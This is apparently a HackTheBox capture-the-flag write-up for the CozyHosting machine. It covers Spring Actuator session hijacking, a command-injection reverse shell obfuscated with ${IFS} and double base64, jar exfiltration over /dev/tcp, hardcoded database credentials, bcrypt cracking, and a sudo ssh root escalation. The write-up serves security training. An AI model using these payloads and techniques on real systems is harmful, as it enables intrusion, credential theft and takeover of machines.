HackTheBox Writeup - CozyHosting
CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user's session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application's JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Nmap 7.94 scan initiated Sun Sep 3 19:38:53 2023 as: nmap -sVC -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80 cozyhosting.htb
Nmap scan report for cozyhosting.htb (10.129.67.19)
Host is up, received user-set (0.11s latency).
Scanned at 2023-09-03 19:38:53 CST for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEpNwlByWMKMm7ZgDWRW+WZ9uHc/0Ehct692T5VBBGaWhA71L+yFgM/SqhtUoy0bO8otHbpy3bPBFtmjqQPsbC8=
| 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVzF8iMVIHgp9xMX9qxvbaoXVg1xkGLo61jXuUAYq5q
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 72A61F8058A9468D57C3017158769B1F
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 3 19:39:05 2023 -- 1 IP address (1 host up) scanned in 12.32 seconds
80 - Site : Cozy Hosting
Info
Directory
1
feroxbuster -t 200 -o ferox_80.txt --thorough -u http://cozyhosting.htb
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ cat ferox_80.txt| grep -v '400\|404\|/assets/'
500 GET 1l 1w 73c http://cozyhosting.htb/error
204 GET 0l 0w 0c http://cozyhosting.htb/logout
200 GET 97l 196w 4431c http://cozyhosting.htb/login
401 GET 1l 1w 97c http://cozyhosting.htb/admin
200 GET 285l 745w 12706c http://cozyhosting.htb/index
200 GET 285l 745w 12706c http://cozyhosting.htb/
User Flag
Shell as app
leaked cookie
By googling a 404 error page, found out it’s a Spring Boot app
There’s an interesting api endpoint
http://cozyhosting.htb/actuator/mappings
Enumerate possible endpoints under /actuator/
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/spring-actuators
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ feroxbuster -t 150 -u http://cozyhosting.htb/ -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt -C 404 --dont-extract-links
...
200 GET 285l 745w 12706c http://cozyhosting.htb/
200 GET 1l 1w 634c http://cozyhosting.htb/actuator
200 GET 1l 108w 9938c http://cozyhosting.htb/actuator/mappings
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/home
200 GET 1l 120w 4957c http://cozyhosting.htb/actuator/env
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/lang
200 GET 1l 1w 15c http://cozyhosting.htb/actuator/health
200 GET 1l 1w 95c http://cozyhosting.htb/actuator/sessions
200 GET 1l 13w 487c http://cozyhosting.htb/actuator/env/path
200 GET 1l 542w 127224c http://cozyhosting.htb/actuator/beans
[####################] - 5s 113/113 0s found:9 errors:0
[####################] - 4s 113/113 27/s http://cozyhosting.htb/
All values under /actuator/env/ were censored
http://cozyhosting.htb/actuator/sessions
They key looks like a JSESSIONID
Tamper Cookies
Visit home page and tamper cookie via Cookie Editor
After refreshing, the login button vanished
Now we have access to admin dashboard
http://cozyhosting.htb/admin
Command injection in /executessh
Based on the function purpose, assumed it might be vulnerable to command injection
If I don’t provide a username, it will reveal the ssh command’s help message
Confirm command injection by adding ;sleep 5;
It does not allow spaces
Craft ${IFS} reverse shell payload to bypass white space check
1
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.23/1111 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
1
echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eU15OHhNVEV4SURBK0pqRUsK|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
1
nc -lvnp 1111
1
2
3
4
5
6
7
listening on [any] 1111 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.80.71] 59646
bash: cannot set terminal process group (997): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
From app to josh
psql credential in jar file
Stabilize shell
1
2
3
4
5
6
7
8
9
10
11
app@cozyhosting:/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
app@cozyhosting:/app$ ^Z
zsh: suspended python3 /opt/sectools/c2/EzpzShell/ezpzShell.py 10.10.14.23 1111 bash
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ stty raw -echo;fg
[1] + continued python3 /opt/sectools/c2/EzpzShell/ezpzShell.py 10.10.14.23 1111 bash
app@cozyhosting:/app$ export TERM=xterm
app@cozyhosting:/app$
Check users
1
2
3
4
5
app@cozyhosting:/app$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
Find items owned by app
1
2
3
4
5
6
7
8
9
app@cozyhosting:/app$ find / -user $USER -not -path "/proc/*" -not -path "/run/*" -not -path "/sys/*" 2>/dev/null
/tmp/hsperfdata_app
/tmp/hsperfdata_app/997
/tmp/tomcat-docbase.8080.11682194487850189346
/tmp/tomcat.8080.15815918135502622134
/tmp/tomcat.8080.15815918135502622134/work
/tmp/tomcat.8080.15815918135502622134/work/Tomcat
/tmp/tomcat.8080.15815918135502622134/work/Tomcat/localhost
/tmp/tomcat.8080.15815918135502622134/work/Tomcat/localhost/ROOT
A jar file is serving at port 8080 and proxied to 80 via nginx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
app@cozyhosting:/app$ ls -latr
total 58856
-rw-r--r-- 1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
drwxr-xr-x 19 root root 4096 Aug 14 14:11 ..
drwxr-xr-x 2 root root 4096 Aug 14 14:11 .
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 997/java
tcp6 0 0 :::22 :::* LISTEN -
app@cozyhosting:/app$ ps auxf|grep 997 -E3
root 851 0.0 0.1 15512 7416 ? Ss 04:36 0:00 /lib/systemd/systemd-logind
root 853 0.0 0.3 392520 12816 ? Ssl 04:36 0:00 /usr/libexec/udisks2/udisksd
root 873 0.0 0.3 317960 12256 ? Ssl 04:36 0:00 /usr/sbin/ModemManager
app 997 0.5 7.6 3634764 306156 ? Ssl 04:36 1:43 /usr/bin/java -jar cloudhosting-0.0.1.jar
root 1000 0.0 0.0 6892 3036 ? Ss 04:36 0:00 /usr/sbin/cron -f -P
root 1017 0.0 0.2 15420 9244 ? Ss 04:36 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 3021 0.0 0.2 17172 10848 ? Ss 09:23 0:00 \_ sshd: josh [priv]
--
app 3258 0.0 0.0 2888 972 pts/2 S 09:29 0:00 \_ -sh
app 3262 0.0 0.1 7632 4224 pts/2 S 09:29 0:00 \_ bash
app 3338 0.0 0.0 10404 3772 pts/2 R+ 09:34 0:00 \_ ps auxf
app 3339 0.0 0.0 6476 2284 pts/2 S+ 09:34 0:00 \_ grep 997 -E3
root 1025 0.0 0.0 55208 1680 ? Ss 04:36 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data 1027 0.0 0.1 56260 6656 ? S 04:36 0:00 \_ nginx: worker process
www-data 1028 0.0 0.1 55988 6340 ? S 04:36 0:00 \_ nginx: worker process
app@cozyhosting:/app$ cat /etc/nginx/sites-enabled/default
server {
listen 80;
return 301 http://cozyhosting.htb;
}
server {
listen 80;
server_name cozyhosting.htb;
location / {
proxy_pass http://localhost:8080;
}
}
Transfer the jar file back to our host
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ nc -lvnp 443 > cloudhosting-0.0.1.jar
listening on [any] 443 ...
I noticed that my current shell wasn’t bash, the /dev/tcp/ redirector needs bash to work
1
2
3
app@cozyhosting:/app$ echo $SHELL
/bin/sh
app@cozyhosting:/app$ bash -c 'cat cloudhosting-0.0.1.jar > /dev/tcp/10.10.14.34/443'
Extract the jar file
1
2
3
4
5
6
7
8
9
10
11
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ mkdir cloudhosting
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ mv cloudhosting-0.0.1.jar cloudhosting
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ cd cloudhosting
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting/cloudhosting]
└─$ tar -xvf cloudhosting-0.0.1.jar
Search for password string and found credential for postgres
1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting/cloudhosting]
└─$ grep -rin passw
...
BOOT-INF/classes/application.properties:12:spring.datasource.password=Vg&nvzAQ7XxR
1
vi BOOT-INF/classes/application.properties
1
2
3
4
5
6
7
8
9
10
11
12
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
Admin’s credential in psql database
List databases
1
2
3
4
app@cozyhosting:/tmp/hsperfdata_app$ psql -h localhost -U postgres
Password for user postgres:Vg&nvzAQ7XxR
postgres=# \l+
1
2
3
4
5
6
7
8
9
10
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges | Size | Tablespace | Description
-------------+----------+----------+-------------+-------------+-----------------------+---------+------------+--------------------------------------------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | 8737 kB | pg_default |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | | 8553 kB | pg_default | default administrative connection database
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +| 8401 kB | pg_default | unmodifiable empty database
| | | | | postgres=CTc/postgres | | |
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +| 8553 kB | pg_default | default template for new databases
| | | | | postgres=CTc/postgres | | |
(4 rows)
Use the database : cozyhosting
1
2
3
postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
List tables
1
cozyhosting=# \dt+
1
2
3
4
5
6
List of relations
Schema | Name | Type | Owner | Persistence | Access method | Size | Description
--------+-------+-------+----------+-------------+---------------+------------+-------------
public | hosts | table | postgres | permanent | heap | 8192 bytes |
public | users | table | postgres | permanent | heap | 8192 bytes |
(2 rows)
Retrieve data from the table : users
1
cozyhosting=# select * from users;
1
2
3
4
5
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
Crack the hashes from users table
It’s bcrypt
1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting/loot]
└─$ nth -t '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
...
Most Likely
bcrypt, HC: 3200 JtR: bcrypt
Blowfish(OpenBSD), HC: 3200 JtR: bcrypt Summary: Can be used in Linux Shadow Files.
Woltlab Burning Board 4.x,
Select them as a format for hashcat
1
cozyhosting=# select name||':'||password from users;
1
2
kanderson:$2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting]
└─$ mkdir loot && cd loot
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting/loot]
└─$ vi users.hash
┌──(bravosec㉿fsociety)-[~/htb/CozyHosting/loot]
└─$ cp users.hash /media/sf_kali-share
1
hashcat D:\kali-share\users.hash "D:\kali-share\rockyou.txt" --user -m 3200
Result :
1
admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited
Password reuse
1
2
3
4
5
6
app@cozyhosting:/app$ su - josh
Password:manchesterunited
josh@cozyhosting:~$ id
uid=1003(josh) gid=1003(josh) groups=1003(josh)
josh@cozyhosting:~$ cat user.txt
67aea6149c2981ab37704fc5839cd071
Root Flag
From josh to root
Simple gtfobin
1
2
3
4
5
6
7
8
9
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
https://gtfobins.github.io/gtfobins/ssh/#sudo
1
2
3
4
5
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
b072647f1011c4752e2a7ec4d7327da6
Additional
Failed Attempts
Brute Force login
1
ffuf -c -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/seclists/Passwords/darkweb2017-top100.txt:FUZZ2 -request login.req -request-proto http -fs 0















